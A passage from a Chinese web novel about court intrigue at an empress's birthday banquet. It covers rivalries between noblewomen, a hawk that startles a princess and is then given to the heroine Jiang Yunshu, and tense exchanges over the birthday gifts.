裴钰懒得与沈家众人废话,直接翻身上马,随即拉紧缰绳回头喊姜云舒,“你还愣着做什么?你得跟着啊,老太太今早跟老爷子生气呢,我可哄不好,得你来。” 姜云舒抿着唇,在众人瞧不见时微微勾起。 “如此,我便先行一步了。” 姜云舒朝老夫人行一礼,也不管她应不应,转身上了马车。 随着一声鞭响,马儿嘶鸣一声,狂奔而去,给沈家众人留下一脸灰。 老夫人站在原地,半晌回过神来,猛地抽了抽嘴角,想骂人,又想哭。 “这,凭什么呀这!姜氏可是我沈家人,那马车是要给我坐的啊,这怎么就去接别人了呢!” 沈清安站在原地,脸色也是一片阴沉。 他倒不介意坐什么马车,让他烦闷的是,姜云舒明明应处处以沈家为尊,可偏偏在一些时候,却能独立出来,成为他高不可攀的存在,就比如现在。 这让他原本挺起的胸膛,仿佛被人从背后砸了一拳的感觉。 而此刻,高芝兰拉着沈长元站在门口,远远看着沈清安和老夫人的脸色难看,无声地露出的笑意。 她知道沈清安向来自尊心极强,要不了几次,他便会对姜云舒彻底厌烦。 此时姜云舒懒得管沈家人,自接上了老太傅和白老太太,两人在马车上吵了一炷香的时间,姜云舒从中哄了这个哄那个,忙得一额头细汗,心里还忍不住骂裴钰。 他倒是安排得明白,自己躲清闲去了。 一个多时辰的路程,姜云舒是在月禾的喊声中抽出空隙的,随着月禾掀开的车帘往外瞧,马车停在了一处宏伟高大的城门口,看样子,是到了皇宫。 白老太太还没解气,朝老太傅瞪一眼,姜云舒无奈叹一口气。 “要不,你们留在车里继续吵,我先进宫?” 说着,就要往外走,谁知刚掀开车帘,就见一匹骏马与她的马车齐平停下。 “我当时谁呢,原来竟是沈夫人!” 那声音灵动清丽,语调上扬,透着一股高傲。 姜云舒抬头,瞧见那张脸时,下意识蹙了蹙眉。 庄心悦,庄太师唯一的女儿,亦是庄夫人所生的几个孩子中,最小的一个,不管出身还是性子,与姜云舒就都很相似。 或许也正是因为这相似,自儿时回京第一件与庄心悦遇上,两人便互看不爽。 此时,庄心悦身着湖绿色锦缎小衫,发间一支飞仙步摇金簪,发辫之间零散几粒珍珠点缀,恍若漫天繁星,天生的贵气和妩媚,别说是男人,就连姜云舒看着,也不得不承认她那京城第一美人的称号名副其实。 “呵,庄小姐小姐好久不见。” 姜云舒不咸不淡地回了一句,随即下车来,朝马车伸出手,是要接里面的人下车。 庄心悦瞧着她那恭敬的姿态,忍不住冷哼一声。 “听说,你那探花郎回京还带了一个原配?姜云舒,你该不会是被人骗了吧?” 她歪过头来看姜云舒,一脸看热闹不嫌事儿大的表情,“你说,这男人脸长得好看有什么用?你累死累活给人当牛做马三年,结果如今人家带着原配发妻回来,你岂不是要做妾?” 姜云舒深吸一口气,“庄小姐出身名门,却在外言行无举,如此看来,脸长得好看的确没用。” “你!”庄心悦被噎了一句,当即瞪起眼睛,“你不是向来厉害吗,如何让沈家压着吱一声都不敢?” 姜云舒迎着她挑衅的视线,有些无奈,“我的事,就不劳庄小姐费心了,你还是多想想你自己吧。” 如今庄心悦已经及笄,且不说高门大户,便是宫里也盯着她这京城第一美人呢,然而,世家子弟都入不了她的眼,听说最近正与太师闹呢。 庄心悦被噎了一句,抬眼瞪姜云舒。 姜云舒不想与她在宫门口喧哗,便吩咐车夫往皇宫门口去,却不想,庄心悦抬手一鞭子挡在了前面。 “区区五品门第,竟敢从坤瑞门进,是你的厚脸皮给你的资格吗!” 话音刚落,却见那车帘忽然从里面掀开。 “不知我这张老脸的脸皮够不够厚,有没有资格从坤瑞门进?” 第100章 天潢贵胄 “太,白爷爷!” 庄心妍吓得一哆嗦,手里的鞭子险些拿不住掉在地上。 白老太傅歪着头,从马车里看庄心妍,挑了挑白色的眉。 “呵,几年没见,你这小丫头,长进不大,脾气倒是越来越大!怎么,光凭太后这马车,还不能从坤瑞门进?” 太后赏赐的马车,那上面可是有慈安宫的徽章,那便是身份,别说坤瑞门,便是乾阳门都能进。 “我,我不知道马车里是您和老夫人……” 庄心妍瞬间没了刚才的气势,她不敢在老太傅面前造作,只朝姜云舒瞪眼,“你怎么不早说马车里是老太傅和老夫人!” “你也没给我机会说啊!” 姜云舒无辜地撇了撇嘴,“更何况,不管我这马车里是谁,你在皇宫门口拦截我的马车,你觉得这和礼数吗?” “你,你管我!”庄心妍气鼓鼓地瞪着她。 眼瞧着两人又要吵起来,老太师咳了一声,两人顿时收敛。 庄心妍是与太师斗气,自己骑马过来的,此刻便与姜云舒一起陪着老太傅和白老夫人进了宫。 就在他们进宫后,一辆马车犹犹豫豫的调转了方向,去了临泽门。 马车里,老妇人脸上的肌肉不受控制地颤了好几颤。 她既庆幸刚才马车里坐着的不是她,又不甘心,那马车里坐着的怎么不是她呢! 老太傅说了,那是太后赏赐的马车,便是五品官员家眷也有资格从坤瑞门进,不,就连乾阳门都能进。 若以后还有机会参加宫宴,她一定要从乾阳门进一次! 皇后生辰宴设在了紫宸殿,姜云舒扶着老太傅和白老夫人到时,已经陆续有官员进场了。 老太傅身份独特,早有宫女和内侍等着,待人刚进了园子,便接去了内殿。 姜云舒与庄心妍相互瞪着,正要各自进殿,却听得却听身后一声清亮的男音传进耳中。 “远远看到这边一片七彩祥云,原来是表妹和姜小……哦不,应该是沈夫人!” 随着说话声音,姜云舒和庄心悦转身,瞧见走过来的三皇子,同时皱了一下眉。 特别是庄心悦,刚才的神情瞬间僵住,双手也下意识的紧了紧。 她想来不喜三皇子,尤其祖母提及让她嫁给三皇子为妃时,她就更不想见他了。 “参见三皇子殿下!” 姜云舒和庄心悦,紧忙行礼。 三皇子不紧不慢的走到跟前,视线在两人身上扫过,薄唇勾了起来。 “听说,沈夫人这次安置锦州灾民,可是立下了不小的功劳,倒是本王小看了你。”他的视线凝在姜云舒身上,神色晦暗不明。 “三皇子谬赞了,我不过是恰巧在南城有一处林子为灾民提供容身之地,若非朝中官员和几位皇子及时将物资和粮食送达,凭我自己,也是无可奈何的。”姜云舒迎着三皇子那让人捉摸不定的眼神看过去,不避不让。 三皇子挑挑眉,轻笑出声,“难怪当初你死死攥着那批药不放手,想来是早有打算,本王可以理解,不过,有些事情其实并没有你想的那般复杂,你若开口,本王也不是不能帮你。” 他说话迂回,意思都藏在拐弯抹角里,其中意思,不外乎是猜测姜云舒想用这次功劳换姜家众人回京,有些话,他或许在皇上面前没有开口的余地,但他的生母皇后同为边境守将,却有话语权。 “三皇子多虑了,当时那批药的来龙去脉我已经说清楚,三皇子若是不相信,我也没有办法。”姜云舒言语淡然,亦让人瞧不出喜怒。 三皇子微微蹙了蹙眉,就听琉璃园外传来一声压低嗓音的惊呼声。 “渊政王府世子来了!” 这一声瞬间将众人的视线吸引过去,姜云舒亦随之转身,就见谢无烬一身幻紫长袍出现在视线之中。 他抬脚往里走,侧脸如玉,长睫垂下淡淡的阴翳,似乎与这热闹隔离开来,整个人透出冰雪似的空静,一时间,将众人闭了嘴,下意识屏住呼吸。 不得不承认,谢无烬这张脸的确好看,好看到让人一时间忘了他恶鬼一般的传说,眼睛里只剩惊艳。 “皇兄,他来了!” 这时,压抑的兴奋声音自身侧传来,姜云舒侧目,就见七公主拽着三皇子的衣袖,眼睛里似是有星星闪烁一般。 啧,还真是男妖精。 “见过元太妃。” 此时,三皇子先回过神来,朝着谢无烬身后的元太妃行一礼。 众人见状紧忙随着行礼。 谢无烬的视线平静地在人群中扫过一眼,径自朝着渊政王府的方向走去,丝毫不顾身后元太妃都来不及与人打招呼。 元太妃面上带着笑,握着拐杖的手却不由得用力,关节处都泛了白。 这可是皇家宴会,他在皇室宗亲面前这般傲慢,是想将渊政王府置于何种境地! 她气得太阳穴直突突,然而,此时这般场合又不能发作,只在众人瞧不见的时候,狠狠瞪谢无烬一眼,然而,谢无烬即便察觉到了,也丝毫不在意。 眼看着渊政王府两位入座,众人的视线依旧时不时朝渊政王府这边瞧,三三两两压低了声音议论。 自然是议论这位身负功勋却又满是争议的渊政王世子。 这边七公主的视线一直在谢无烬身上,她满脸兴奋,似是挣扎了许久终于下定决心,朝渊政王府的方向走了过去。 “见过元太妃。”三公主上前行礼,视线却依旧在谢无烬脸上。 元太妃一眼便看出七公主的心思,表情一时间有些复杂,七公主是皇后最疼爱的女儿,若能嫁入渊政王府,有了皇后撑腰,渊政王府的繁荣便有了保证。 可偏偏,七公主看上的是眼前这个不受控制阴晴不定的孽障,若此刻坐在她旁侧的是怀琛就好了。 “七公主可真是越来越漂亮,快来,让我好好瞧瞧。” 元太妃朝七公主招招手。 七公主紧忙上前,坐在元太妃身边的同时,便也坐在了谢无烬旁侧。 “这位便是淮南回来的世子么?”七公主看向谢无烬。 谢无烬手中捻着酒杯,侧目朝七公主看了一眼,没答话。 元太妃当即皱起眉头,呵斥,“你这是什么做派,七公主与你搭话,你自当敬酒才是!” 说着,将一杯酒推到谢无烬跟前。 谢无烬垂眸看了那酒杯一眼,没动。 气氛一瞬间尴尬下来。 七公主抿了抿唇,压住涌起的怒意,“谢世子想来不常出入这种场合,本公主亦不会计较,这杯酒,我敬也是一样。” 说着话,她端着酒杯往谢无烬跟前举气。 然而,这酒杯尚未到跟前,忽然一阵疾风扫过,紧接着一道黑影压了过来。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第101章 生人勿近 “啊——” 七公主惊叫一声,身子紧着往后退,一下子跌落在地,狼狈至极。 元太妃也大惊失色,拽着身边的宫女,连连后退。 一时间,大殿之内引起一阵骚乱。 “救命啊——” 七公主连滚带爬,那东西却紧追不放。 姜云舒坐在渊政王府的对面,恍惚之间,看清楚,竟然是一只全身墨色的黑鹰! 此时黑鹰伸着爪子就朝着七公主去了。 谢无烬没说话,随即依旧半闭着眼睛,一手随意拈起一颗葡萄往嘴里放,另一手有一下没一下的翘着桌面。 眼看着那黑鹰的爪子就要往七公主脸上抓,他这才慵懒地吐出几个字。 “黑仔,回来。” 黑鹰顿时停住,随即扇动翅膀掉头,落在了谢无烬肩膀。 姜云舒在北域很少接触这般猛禽,但也知道这种东西的野性甚至比狼还要难以驯服。 而且那黑鹰的眼睛和嘴,很明显是那种极为凶残猛烈的品种,可如今竟然在谢无烬怀里像个宠物一样任由他抚摸,看得她不由得抽了抽嘴角! “我自小与猛禽凶兽为伴,七公主还是离我远一些为好。”他歪着头看向七公主,抬手将一片生牛肉递给黑鹰。 黑鹰眼珠子转了一下,猛地一探头将那牛肉叼进了嘴里。 七公主趴在地上,吓得脸都白了,眼泪珠子挂在脸上,半晌没回过神来。 另一边的三皇子脸色阴沉,正要开口,却听元太妃先起身朝谢无烬怒斥。 “哎呀,孽障!你怎么将这畜生带进宫来了!这可是皇后生辰宴,你若真的伤了七公主如何是好!” 说话间,抬手朝座上的皇后行礼,“这孩子在边境野惯了,初次来京,不懂规矩,还请皇后责罚。” 说着,郑重地向皇后行了一大礼。 “元太妃言重了,来人,快扶元太妃起身。” 皇后摆摆手,脸色与寻常无异,并未因刚才七公主凶险的一瞬间有任何变化。 “小七,还不回你的位置去,畜生野性大,你想靠近它需慢慢熬,像你这种没耐心的,换个别的喜欢吧!” 这话,说的是黑鹰,骂的却是谢无烬。 众人都能听得出来皇后这话里的话,可即便是皇上,都无从斥责一句,毕竟是他亲自应允谢无烬带鹰进内殿的,而方才,也是七公主自己凑过去的。 姜云舒坐在对面,捧着手里的茶浅抿着,恍惚之间,似乎想起小的时候,她也曾在悬崖底下捡过一只体型比寻常大一些的雏鸟,应该是从悬崖上面的鸟巢里掉下来的。 那处悬崖距离北夷边境很近,平日父亲和母亲是明令禁止他们去那边的,雏鸟不能带回去,他们几个人便偷偷地养了起来。 大概养了有十多日,一场大雨过后,他们再去,那雏鸟就不见了,不知道是被天敌吃了,还是被母鸟带回去了。 每每想起来,都还有种说不出来的遗憾,正想着,迎面一阵疾风而来。 “哎呀!” “快躲开!” 周边众人四散逃开,尤其是沈清安和老夫人,两人似是从没有过这般敏捷,一瞬间便离开的姜云舒身边。 姜云舒衡量着是躲不开了,下意识抬手去挡,忽然手臂一沉,那黑鹰竟落在了她的手臂上。 “这……” “这是怎么回事?” “这畜生,不是认主吗,怎么落在了乐安县主的手臂上?” 众人一脸惊诧的看着姜云舒和那黑鹰。 姜云舒也抬头看她,一人一鹰对视了一眼,就见它忽然一歪头,吃了她跟前碟子里的肉。 姜云舒:“……” 谢无烬这是没喂饱它吗? “没想到,这黑鹰倒是对乐安县主亲近。” 此时,三皇子起身,笑意盈盈的开口,“听说鹰是认主的,说起来,当初乐安县主和谢世子还有过婚约,这是将乐安县主当成……” 话说一半,他似是想起什么,矫揉造作的一捂嘴,“哎呀,是我失言了!” 是不是失言,他自己清楚,但这个话题当着姜云舒和谢无烬的面儿挑起来,众人的视线一下子便落在了他们身上。 当初,定国将军府退婚的消息传开,谢无烬的名字一时在京城被人当做了谈资,都说姜云舒是因为他屠城做了嗜杀的恶鬼才被退婚,也是活该。 当时他人不在京城,众人尚可背后议论嚼舌,如今人就在跟前,众人便是有看戏的心情也不敢表露。 当初屠城尚且远离京城,可他们都听说了,自这谢世子回京,渊政王府后门每日都有裹着草席抬去乱葬岗的。 一瞬间,整个大殿气氛骤然降到了冰冻之寒。 此时与姜云舒对面的恭王府,众人也皱紧了眉头,闵青鸢眼底冒火一般,正要起身,却见姜云舒朝她摇了摇头。 闵青鸢攥着拳头坐回去,就见姜云舒抬头迎上三皇子。 “三皇子这是在挑拨谢世子和沈家的关系吗?” 她眸光清亮却透着一股凉意,“今日是皇后生辰宴,你该不会想让场面不好看吧?” 他想以一个玩笑来为难她,然而姜云舒并不接,反而将事情摆上明面。 “你……”三皇子楞了一下,没想到姜云舒竟会直接怼,嘴角勉强扯出笑意,“我就是失言了,你别当真。” 这回,慌乱的是三皇子了。 众人下意识为姜云舒松一口气,然而,这口气还没舒出来,就听谢无烬略带慵懒的声音传来。 “听说,沈大人回京时,还带了原配,这位原配发妻,还育有一子,所以……” 谢无烬掀了掀眼皮,唇角勾起一抹微妙的笑意,看向姜云舒,“如今你又是什么位置?” 一句话,再次将众人的心提到了嗓子眼,尤其还将沈家拎出来,沈清安此时额头的汗更多了。 姜云舒面向谢无烬,朝他狠狠瞪一眼,尚未开口,就听上座传来一声冷哼。 “姜家丫头是个什么位置,就得皇上来定夺了!” 说话的是芷妃,说完,还朝皇上甩了个眼神。 在场众人都知道,皇上登基之前,芷妃也是原配王妃,此时她接了话题,在场众人连呼吸都僵住了。 不敢动,实在是不敢动,好好的宫宴,这是要闹哪样? 这气氛,变得紧张又刺激,众人大气都不敢出,就等着皇上开口。 第102章 黑鹰送给你 此时皇上的脸色也有些难看,他蹙眉将手中酒杯放下。 “好了,今日是皇后生辰宴,其他事情,日后再议。” 说完,扭头朝三皇子瞪一眼,“今日是你母后寿辰,你竟还口无遮拦,看来最近是太闲了,如此,你便卸下都尉一职,去锦州监军堤坝修筑去!” 三皇子脸上的表情变了好几变,嘴角颤抖着想求恕罪,却被皇后眼神制止了。 他只是想为小七出一口气,却怎么都没想到,只一句话,让姜云舒堵了嘴不说,还将火蔓延到了父皇身上。 真真是搬起石头砸了自己的脚。 “是,儿臣领命!”三皇子咬着牙行礼。 姜云舒坐在旁侧,抬头的瞬间看向皇上,不由心中感叹。 锦州不同岩城,关系着各方与京城的连通,如眼下境况,锦州水患,粮食和药草运进京便极为困难,让三皇子监军堤坝修筑,面上是责罚,实际却是给他立功的机会。 如此看来,皇上对三皇子还是宠爱的,就连上次六皇子截杀,也压制下来,究竟是真的担心芷妃动了胎气,还是真心偏袒三皇子? 姜云舒猜不透。 随着内侍官一声扯着强调的嗓音,寿宴开始。 百官向皇后贺寿祝词,推杯换盏之间,气氛一下子升了起来,仿若刚才那一场又一场的冷场并不存在。 几番敬酒之后,舞姬入场,乐器声响贯彻整个大殿。 姜云舒看得眼花缭乱,只觉有些气闷,便起身往外透气。 沈清安见她往外走,也跟了出来。 “云舒!姜云舒!” 沈清安在背后喊了两声,紧走几步才到姜云舒身边。 “方才在殿内,你不该如此让三皇子下不来台,今日是皇后寿辰,你应该知道,得罪了皇后会给沈家带来多大的祸端!” 他一脸严肃,言语之间尽是警告。 姜云舒刚出来,原本才舒缓一口气,听到沈清安这话,下意识蹙起了眉头。 “所以,刚才三皇子那句挑拨,沈大人觉得我应该如何接?”她直直地看着沈清安。 “你——” 沈清安一时噎住,尚未想好,就见裴钰拎着一串葡萄过来。 “方才三皇子让姜云舒下不来台时,沈大人连大气都不敢出,如今倒是在姜云舒面前龇眉瞪眼。” 说话的功夫,人已经到了跟前,他将手里的葡萄往姜云舒手里一放,眼睛眯起来,朝沈清安冷哼一声。 “沈大人,你真当姜云舒是软柿子吗?” 此时裴钰脸上带着笑,可靠近的一瞬间,周身一股气势压下来,让沈清安下意识后退一步。 “裴世子,我沈家的事,有你什么事儿!”他咬牙,攥紧拳头,额间青筋隐隐冒出。 “没我的事儿啊,我就是看热闹。” 裴钰挑了挑眉,又伸手从姜云舒手里那串葡萄上揪下一颗,塞进嘴里。 沈清安看他这般模样,气不打一处来,“我看你就是看热闹不嫌事儿大!” 裴钰在京城纨绔中,名声可不小,要说他纨绔就纨绔呗,偏偏还时不时来沈家添堵,闲的吧! “说对了!” 裴钰依旧无视沈清安眼中几乎要冒出来的火星子,扭头又跟姜云舒道:“刚才那谢世子问你在沈家是什么位置的时候,我就等你回呢,你前一句跟这绣花枕头提一句和离,我下一句就请皇上给咱俩赐婚!” 姜云舒眼皮颤了颤,还没开口,沈清安先炸了。 “裴钰,你别欺人太甚!”沈清安太阳穴直突突,伸手指着裴钰的手指都在颤抖。 “欺人太甚?你也不看看你自己的嘴脸,究竟是谁欺人太甚,当初可是你跪在定国将军府求娶姜云舒,如今……” 裴钰的话尚未说完,就见眼前一黑,待看清楚,那飞驰过来的黑鹰已经落在了姜云舒肩膀上。 几个人下意识扭头,就见谢无烬一身幻紫长袍自大殿之内走了出来。 “谢,谢世子!”沈清安回过神来紧忙行礼。 方才他可是看得清楚,谢无烬连七公主都敢动,岂是他这等五品官员敢得罪的。 裴钰倒是没沈清安那般紧张,但也下意识往前一步,护在了姜云舒身前。 “谢无烬,你还想做什么?”裴钰仰着头,眼神之中带着警告。 都是世子,谁怕谁? 这里可是皇宫,就不信他敢动手! 谢无烬没理会裴钰,视线是在沈清安脸上停留,随即又转向姜云舒。 “我与沈大人,谁更好看?”他挑眉问她。 哈? 姜云舒嘴角猛地抽搐一下。 这人又在发什么疯! 她听得出来,谢无烬面上问的是谁好看,实际话里的意思却是问她要选谁。 触及这一层意思,姜云舒没好气地朝他瞪一眼,“谢世子这话有点仗势欺人了,谁敢当着你的面儿说你难看呢?” 这话回得也含糊,既没说他不好看,也没说好看,言语之间,还透着一股针锋相对的意味。 沈清安当时浑身一颤,紧忙伸手去拽姜云舒,然而,手尚未碰触到她,就见那黑鹰猛地一扑棱翅膀,吓得他赶紧缩了回去。 谢无烬垂眸瞥了沈清安一眼,随即收回视线依旧看姜云舒,“看来,你的确眼神不好。” “可不是眼神不好么,但凡眼睛不瞎,也不能选个草包!”裴钰忍不住接了一句。 “草包……” 谢无烬忍不住轻笑出声,“既如此,当年你退婚的事,也不是不能原谅你。” 他说着,抬手从姜云舒手里拿过那串葡萄,揪下一颗塞进了嘴里。 “诶,那是——” 裴钰见着不乐意了,正要抢回来,却被姜云舒拉住。 姜云舒一动,肩膀上的黑鹰似是不舒服的跟着扇了扇翅膀。 “谢世子这黑鹰是不是可以从我肩膀上下来了?”姜云舒看他,没好气。 她想抖动肩膀让那黑鹰下来,可那黑鹰展了几次翅膀,还是不轻不重地落在她肩膀上,每次落稳,还一脸无辜地看着她。 真还带装可怜的,没有一点猛禽的尊严! 谢无烬抬手给黑鹰喂了一颗葡萄,回头看姜云舒,唇畔勾起的笑容仿佛带着蛊一般。 “黑鹰总是找向你,看来,它是真的喜欢你,如此,这小东西便当做见面礼,送给你,如何?” 第103章 私相授受 什么玩儿? 这就送给她了? 沈清安和裴钰顿时抬起头来,难以置信的看向谢无烬。 沈清安对黑鹰不了解,可裴钰日常招猫逗狗,玩蛐蛐遛鹦鹉,对这些东西多少还是有点了解的。 就谢无烬这只通体墨色的黑鹰,羽毛丰盈,眼神犀利,喙部坚硬色泽明亮,绝对是绝佳的珍品。 听说,有种极品黑鹰还能上战场,谢无烬本就是封地驻将,保不齐这只黑鹰身上也有战功呢。 他就这么送给姜云舒了? 裴钰一脸费解地看向谢无烬。 姜云舒除了一瞬间的震惊之后,脸上表情却沉了下来。 这畜生,刚才在殿内可是袭击了七公主。 主人是谢无烬,皇后或许顾及渊政王在边境的功勋,不与他计较,可若是这小“凶手”跟了自己,三皇子和七公主可是敢来找她麻烦的。 说白了,这可不是礼物,而是麻烦。 “多谢世子好意,不过,我从未养过这类猛禽,怕是养不好,还请世子收回吧。” 姜云舒面上带着笑,朝谢无烬侧了侧身,那意思,让他将黑鹰带走。 鹰这种东西都有灵性,尤其这种自小在主人身边长大的,有的鹰隼经过训练之后,能为主人窃取情报。 虽说姜云舒自认为身上没什么情报,可总被这东西监视着,心里总不舒坦。 谢无烬垂眸看姜云舒,伸手,黑鹰却没从姜云舒肩膀上下来。 “你看,他似乎并不想回来,是它认了你,放心,它自己会猎食。” 他挑眉,抬手在黑鹰头上抚摸一下,“黑仔,你要听话。” 黑仔…… 姜云舒眼皮颤了颤。 这称呼怎么听都像是叫儿子呢! 若他真的将这黑鹰当成儿子养,那送到她手里又是什么意图? 姜云舒真不想接,奈何那黑鹰就是不下来。 就连裴钰好奇凑过来看,也被那黑鹰扑棱着翅膀警告了一番。 姜云舒没辙,沉沉叹一口气,“谢世子这般厚礼,我却之不恭,日后再回礼。” “不必。” 谢无烬眼睛弯成月牙,说话间,抬手朝自己发间指了指。 姜云舒抬头,这才认出,他发间的那枚白玉簪正是从她头上拔下来的那支。 沈清安和裴钰也跟着看过去,沈清安不明所以,裴钰却不由得愣住。 那可是姜云舒她娘为她亲手雕的玉簪,怎么在那谢无烬头上? 这俩人,在他不知道的时候,到底干了啥? 裴钰正在脑子里编故事的时候,姜云舒朝谢无烬瞪了一眼,谢无烬迎着她的视线,倏然勾起唇角。 “你收下就好,如此,我便回去了。”谢无烬眨眨眼睛,转身往回走。 待他刚离开,沈清安当即便沉下了脸来。 “你怎么能收他的东西?私相授受,你还能不能顾一顾沈家脸面!”他一边说着,抬眼瞪那黑鹰。 “哟,你们沈家的脸面可真是金贵,你若真那么在乎,就好好安置了你那原配!” 裴钰翻着眼皮,阴阳怪气,“再说了,你是死的吗?当着你的面儿怎么叫私相授受呢?你忘了,你刚才对谢无烬还感恩戴德地行礼呢!” “你——” 沈清安被裴钰噎了个大红脸,他张张嘴,半晌没反驳出一句,随即,转身拂袖而去。 等沈清安离开,裴钰才转过身,表情严肃质问,“说吧,你那簪子怎么落在了谢无烬手里?” “当初交手,被他抢去的。”姜云舒提及这事儿就憋气。 “那,这谢世子到底什么意思?我还以为他会处处针对你,这莫名其妙的东西,是什么意图?”裴钰一脸纠结地看着那黑鹰。 黑鹰也歪着头看裴钰,喉咙里发出“咕噜咕噜”的声音。 姜云舒抬手,黑鹰便往上一跃飞了出去,待看不见影子,她才蹙眉开口。 “我看不透谢无烬这个人,或许,他依旧要报复我,如今此举正是拿我做局,亦或者,他另有目的,而这目的与我有关,再或者……” 后面的话没说出口,她突然停住,随即摇头。 应该不会是她想的那样。 “百官祝寿,开始~” 此时,内侍官的声音传来,姜云舒和裴钰顿了一下,转身往里走。 如今是百官向皇后献礼了。 众人都将早已准备好的寿礼拿好,自皇子公主开始,一一向皇后献上。 如今皇嗣之中,三皇子是皇上跟前最年长的皇子,只见他摆摆手,便有宫女将他准备的礼物送过来。 “祝母后,福如东海,日月昌明。” 三皇子献上一件蜀锦凤尾大氅。 那大氅上的凤尾,是三皇子亲自猎的孔雀翎羽,取其最鲜亮的羽毛精织而成,真真是用了心的。 “难得你有心,日后听你母后教诲,切莫让她操心。”皇上语重心长。 皇后本是国之栋梁,三皇子若如母后一般骁勇机敏,这皇位交到他手上,却也合适,奈何,他性子还是浮躁了些。 芷贵妃侧目朝皇上看了一眼,又转向六皇子,此时,六皇子上前,将准备的寿礼献上。 “儿臣祝母后松鹤长春,春秋不老。” 六皇子献上一樽五彩琉璃,那琉璃雕刻的竟是女将军手持长枪的场景,真真应了皇后英姿飒爽的身姿。 “小六真是用心了,听说灾民疫病初期,是你第一时间将药草送了过去,此次疫病得以控制,有你一份大功!”皇后朝六皇子勾了勾唇,俨然一位慈爱嫡母的模样。 这件事由皇后主动提及,真真彰显了她母仪天下的气度。 六皇子亦恭顺行礼,“能为父皇分忧,是儿臣的本分,儿臣不敢居功。” 皇上瞧着六皇子这般乖巧,也跟着点点头。 “待锦州水患结束,父皇一定给你重重赏赐。” “谢父皇!”六皇子紧忙行礼。 三皇子在旁边看着,双手又不自觉攥起了拳头。 原本,这功劳应该是他的! 众人未察觉三皇子的变化,此时皇子公主陆陆续续献了礼,再往后便是官员。 宁王府送的是白玉观音,宁国公府送的是象牙箜篌,沈清安和老夫人献上的是岩城独有的春尖露。 姜云舒听着沈清安介绍那春尖露,眉梢微微上调,不得不说,他还是有几分心机的。 这春尖露是岩城特产,当着皇上的面儿送出,更是提醒皇上,他在岩城的功劳和辛苦,这春尖露不比皇后平日的茶贵重,却是沈清安这个官职能拿得出手的。 真真是把他鞠躬尽瘁又略显委屈的境况摆在了皇上面前。 果然,皇上听着沈清安的介绍,脸上的表情略有变化。 姜云舒心中冷笑,此时耳边传来内侍官的声音。 “乐安县主,献礼~” 第104章 当众为难 这一声传来,众人的视线冷不丁朝姜云舒的方向看过来。 方才沈清安不是已经献过礼了吗?这怎么姜云舒又献一次? 沈清安和老夫人也瞪大眼睛看向姜云舒,两人脸上诧异过后,拧起了眉头。 姜云舒这是要与沈家划清界限? 姜云舒无视众人的惊诧,起身,自宫女手上拿过贺礼,上前跪于皇后跟前。 “乐安恭祝皇后娘娘,平安如意,福泽绵长。” 说着,她举起双手,将贺礼托于头顶。 内侍太监上前,将贺礼收过来,打开锦盒朝皇后展示一番,道:“乐安县主,献上千寿丹一枚~” 内侍太监的声音一出,整个大殿安静瞬间之后,窸窸窣窣的议论声又响了起来。 “千寿丹?是那个传说中的千寿丹吧?” “哪里还有第二种千寿丹,定然是传说中,药王谷的镇店宝贝之一的千寿丹啊!” “听说这千寿丹的药效比归心丸还要好,这乐安县主究竟有多少奇药!” “听说这千寿丹的原料药材都极难配成,是以这药便是有千金也不一定能买到,啧啧,真是大手笔啊!” 此时官员一边议论着,眼睛时不时朝姜云舒跟前瞄过来。 要说,姜云舒区区一个县主,手里本不应该有这么多好东西,可人家跟药王谷有交情,之前可传出来了,人药王谷的当家都发话了,药王谷的归心丸只有姜云舒的仁春堂有售卖。 而且,当初她出嫁可是从太后的慈安宫上花轿,太后和皇上还给添了妆,即便姜家流放,可姜云舒拿出那些东西,却又顺理成章。 沈清安和老夫人听到内侍太监的禀报,更是震惊地瞪大了眼睛,老夫人那五官扭在一起,真真是一脸肉疼。 正在众人震惊之中,忽而听得大殿正座之上传来一声轻笑将众人视线引过去。 原来是芷贵妃。 “原以为灵山雪参便是你倾尽嫁妆里最好的了,原来还有更好的,到底是皇后,值得让人掏心掏肺。” 芷贵妃挑眉看向姜云舒,明明是面带笑意,却让人莫名感觉一股子凉意往上窜。 在场百官都知道,芷贵妃自从被皇后夺了正妻之位,处处与皇后争抢,便是送的东西都要比较。 如今看来,姜云舒要不好过了。 这话一出,气氛一下子又坠到了寒潭一般,尤其裴钰和恭王府众人,此时看向姜云舒的眼神都带着紧张。 可姜云舒却在芷贵妃的刁难之中听出了另一层意思。 当初她入宫看望芷贵妃,皇后也来过,她送出灵山雪参的事皇后必然知道,也正是因为如此,她在皇后生辰宴上,送了千寿丹。 芷贵妃此时当众挑刺,反而是在帮她撇清站队的嫌疑。 姜云舒抿了抿唇,抬头迎上芷贵妃的视线,回话,“灵山雪参提气固元有奇效,贵妃生产在即,或可助力皇子平安降生,皇后娘娘习武,领兵行军多劳损,千寿丹可起到益气滋补舒缓的效果,而且,这千寿丹也是臣最近才收到的。” 话里意思,当初给你送灵山雪参时,手上还没有千寿丹呢,不存在将好的特意留给皇后。 姜云舒这话回答得轻缓,两边都不得罪,芷贵妃哼了一声,尚未开口再说,却被皇后接了话茬。 “你倒是个细心的孩子。”皇后称赞一句,又转向芷贵妃,“等你生产之后,本宫命赵院正亲自去药王谷为你准备滋补用药。” 皇后亲自派遣院正为芷妃产后修护,这是何等殊荣! 便是皇后自己当初,也没这般兴师动众! 芷贵妃自然听出皇后是当着百官的面儿给她殊荣,可如今正是多城遭难之际,她若应了,便是她在国难之前挥霍铺张了。 “可不敢这般兴师动众,如今锦州灾民问题尚未解决,皇后娘娘还是将草药分发给灾民吧!” 芷妃朝皇后扯了扯嘴角,随即又看向姜云舒,“听说,是你安置了城外的灾民?倒是难得。这般紧张做什么?快坐下吧,好像本宫为难你似的。” “多谢皇后娘娘,多谢芷妃娘娘。”姜云舒行礼,侧身坐了回去。 刚坐好,抬头的瞬间,便瞧见对面的谢无烬端着杯盏朝她扬了扬。 姜云舒顿了一下,侧身坐好。 身侧,沈清安瞧见谢无烬与姜云舒的眼神交换,眼底涌起一股莫名的怒意,然而,此时只能任由怒意在胸口乱窜,却不敢发作,只转向姜云舒。 “姜云舒,你是我沈家人,为何还要单独送贺礼?” 这分明是让沈家没脸。 尤其,当时她一个不慎说错了话,不是得罪皇后就是得罪芷贵妃,这两位哪一个是他区区五品官员能担待得起的? “大概是礼部将我单独算在了乐安县主府上。” 姜云舒慢条斯理的喝了口茶,朝他瞥一眼,“当时沈府贺礼是高氏亲力准备,我便以为,是沈大人要各自送各自的。” 她是沈府当家主母,可当时准备贺礼时,没有人与她知会一声,既然如此,她自己准备自己的,也在情理之中。 